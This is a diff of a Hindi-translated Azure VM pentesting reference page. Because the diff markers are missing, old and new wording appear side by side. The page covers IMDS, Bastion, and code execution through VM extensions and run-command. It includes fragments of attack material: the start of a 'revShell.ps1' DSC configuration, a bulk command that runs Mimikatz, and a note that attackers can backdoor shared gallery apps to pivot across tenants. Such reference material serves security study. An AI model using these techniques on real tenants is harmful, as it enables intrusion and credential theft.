[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक निरंतरता बनी रहे, जिससे व्यावसायिक ऐप्स और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को** प्राथमिक साइट से द्वितीयक स्थान पर चलने वाले भौतिक और आभासी मशीनों (VMs) पर **प्रतिलिपि** करती है। जब आपके प्राथमिक साइट पर आउटेज होता है, तो आप द्वितीयक स्थान पर स्विच करते हैं, और वहां से ऐप्स तक पहुंचते हैं। जब प्राथमिक स्थान फिर से चलने लगता है, तो आप वहां वापस जा सकते हैं।
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **हटाकर**।
|
||||
|
||||
Bastion एक उपनेट तैनात करता है जिसे **`AzureBastionSubnet`** कहा जाता है जिसमें VNet में काम करने के लिए `/26` नेटमास्क होता है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
|
||||
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें VNet में काम करने के लिए `/26` नेटमास्क होता है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है, `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
|
||||
|
||||
आपकी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||||
|
||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
||||
|
||||
## Metadata
|
||||
|
||||
Azure Instance Metadata Service (IMDS) **चल रहे वर्चुअल मशीन उदाहरणों के बारे में जानकारी प्रदान करता है** ताकि उनके प्रबंधन और कॉन्फ़िगरेशन में सहायता मिल सके। यह SKU, स्टोरेज, नेटवर्क कॉन्फ़िगरेशन और आगामी रखरखाव घटनाओं के बारे में जानकारी जैसे विवरण प्रदान करता है **REST API के माध्यम से जो गैर-रूटेबल IP पते 169.254.169.254 पर उपलब्ध है**, जो केवल VM के भीतर से सुलभ है। VM और IMDS के बीच संचार होस्ट के भीतर रहता है, जिससे सुरक्षित पहुंच सुनिश्चित होती है। IMDS को क्वेरी करते समय, VM के भीतर HTTP क्लाइंट को उचित संचार सुनिश्चित करने के लिए वेब प्रॉक्सी को बायपास करना चाहिए।
|
||||
Azure Instance Metadata Service (IMDS) **चल रहे वर्चुअल मशीन इंस्टेंस के बारे में जानकारी प्रदान करता है** ताकि उनके प्रबंधन और कॉन्फ़िगरेशन में सहायता मिल सके। यह SKU, स्टोरेज, नेटवर्क कॉन्फ़िगरेशन और आगामी रखरखाव घटनाओं के बारे में जानकारी जैसे विवरण प्रदान करता है **REST API के माध्यम से जो गैर-रूटेबल IP पते 169.254.169.254 पर उपलब्ध है**, जो केवल VM के भीतर से सुलभ है। VM और IMDS के बीच संचार होस्ट के भीतर रहता है, जिससे सुरक्षित पहुंच सुनिश्चित होती है। IMDS को क्वेरी करते समय, VM के भीतर HTTP क्लाइंट को उचित संचार सुनिश्चित करने के लिए वेब प्रॉक्सी को बायपास करना चाहिए।
|
||||
|
||||
इसके अलावा, मेटाडेटा एंडपॉइंट से संपर्क करने के लिए, HTTP अनुरोध में **`Metadata: true`** हेडर होना चाहिए और **`X-Forwarded-For`** हेडर नहीं होना चाहिए।
|
||||
|
||||
@@ -427,17 +427,17 @@ Get-AzStorageAccount
|
||||
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
```
|
||||
## VMs में कोड निष्पादन
|
||||
## कोड निष्पादन VMs में
|
||||
|
||||
### VM एक्सटेंशन
|
||||
|
||||
Azure VM एक्सटेंशन छोटे एप्लिकेशन हैं जो Azure वर्चुअल मशीनों (VMs) पर **पोस्ट-डिप्लॉयमेंट कॉन्फ़िगरेशन** और स्वचालन कार्य प्रदान करते हैं।
|
||||
Azure VM एक्सटेंशन छोटे एप्लिकेशन होते हैं जो Azure वर्चुअल मशीनों (VMs) पर **पोस्ट-डिप्लॉयमेंट कॉन्फ़िगरेशन** और स्वचालन कार्य प्रदान करते हैं।
|
||||
|
||||
यह **VMs के अंदर मनमाना कोड निष्पादित** करने की अनुमति देगा।
|
||||
|
||||
आवश्यक अनुमति है **`Microsoft.Compute/virtualMachines/extensions/write`**।
|
||||
|
||||
सभी उपलब्ध एक्सटेंशनों की सूची बनाना संभव है:
|
||||
सभी उपलब्ध एक्सटेंशनों की सूची बनाना संभव है:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
@@ -457,7 +457,7 @@ Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाएँ**:
|
||||
यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाएं**:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग इस एक्सटेंशन के माध्यम से Windows VMs में **मनमाने कमांड** को **निष्पादित** करने के लिए किया जा सकता है:
|
||||
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>हाइब्रिड रनबुक वर्कर</summary>
|
||||
|
||||
यह एक VM एक्सटेंशन है जो एक ऑटोमेशन अकाउंट से VMs में रनबुक्स को निष्पादित करने की अनुमति देगा। अधिक जानकारी के लिए [ऑटोमेशन अकाउंट्स सेवा](../az-automation-account/) देखें।
|
||||
यह एक VM एक्सटेंशन है जो एक ऑटोमेशन अकाउंट से VMs में रनबुक्स को निष्पादित करने की अनुमति देगा। अधिक जानकारी के लिए [ऑटोमेशन अकाउंट्स सेवा](../az-automation-account/index.html) देखें।
|
||||
|
||||
</details>
|
||||
|
||||
@@ -625,7 +625,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
|
||||
नए एप्लिकेशन स्थापित करने के तरीके की जांच करें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरी को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। यह बहुत दिलचस्प है क्योंकि इससे एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट पर पिवट करने की अनुमति मिल सकती है।
|
||||
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरी को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है।
|
||||
|
||||
लेकिन **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैसे कि एक्सटेंशन के लिए है।
|
||||
|
||||
@@ -721,7 +721,7 @@ az vm application set \
|
||||
|
||||
### उपयोगकर्ता डेटा
|
||||
|
||||
यह **स्थायी डेटा** है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से पुनः प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि **यदि आप यहां एक स्क्रिप्ट रखते हैं, तो इसे डिफ़ॉल्ट रूप से निष्पादित नहीं किया जाता है**।
|
||||
यह **स्थायी डेटा** है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से पुनः प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि **यदि आप यहां एक स्क्रिप्ट रखते हैं, तो यह डिफ़ॉल्ट रूप से निष्पादित नहीं होती**।
|
||||
|
||||
### कस्टम डेटा
|
||||
|
||||
@@ -730,7 +730,7 @@ az vm application set \
|
||||
- **Windows** में कस्टम डेटा `%SYSTEMDRIVE%\AzureData\CustomData.bin` में बाइनरी फ़ाइल के रूप में रखा जाता है और इसे संसाधित नहीं किया जाता है।
|
||||
- **Linux** में इसे `/var/lib/waagent/ovf-env.xml` में संग्रहीत किया गया था और अब इसे `/var/lib/waagent/CustomData/ovf-env.xml` में संग्रहीत किया गया है।
|
||||
- **Linux एजेंट**: यह डिफ़ॉल्ट रूप से कस्टम डेटा को संसाधित नहीं करता है, डेटा सक्षम करने के लिए एक कस्टम छवि की आवश्यकता होती है।
|
||||
- **cloud-init:** यह डिफ़ॉल्ट रूप से कस्टम डेटा को संसाधित करता है और यह डेटा [**कई प्रारूपों**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) में हो सकता है। यह कस्टम डेटा में केवल स्क्रिप्ट भेजकर आसानी से एक स्क्रिप्ट निष्पादित कर सकता है।
|
||||
- **cloud-init:** डिफ़ॉल्ट रूप से यह कस्टम डेटा को संसाधित करता है और यह डेटा [**कई प्रारूपों**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) में हो सकता है। यह कस्टम डेटा में केवल स्क्रिप्ट भेजकर आसानी से एक स्क्रिप्ट निष्पादित कर सकता है।
|
||||
- मैंने कोशिश की कि दोनों Ubuntu और Debian यहां रखी गई स्क्रिप्ट को निष्पादित करें।
|
||||
- इसे निष्पादित करने के लिए उपयोगकर्ता डेटा सक्षम करना भी आवश्यक नहीं है।
|
||||
```bash
|
||||
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **कमांड चलाएँ**
|
||||
|
||||
यह Azure द्वारा **VMs में मनमाने कमांड निष्पादित करने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`।
|
||||
यह Azure द्वारा **VMs में मनचाहे कमांड चलाने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -790,13 +790,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## बिना प्रमाणीकरण का प्रवेश
|
||||
## बिना प्रमाणीकरण का अभिगम
|
||||
|
||||
{{#ref}}
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
|
||||
{{#endref}}
|
||||
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
## पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
|
||||
|
||||
Reference in New Issue
Block a user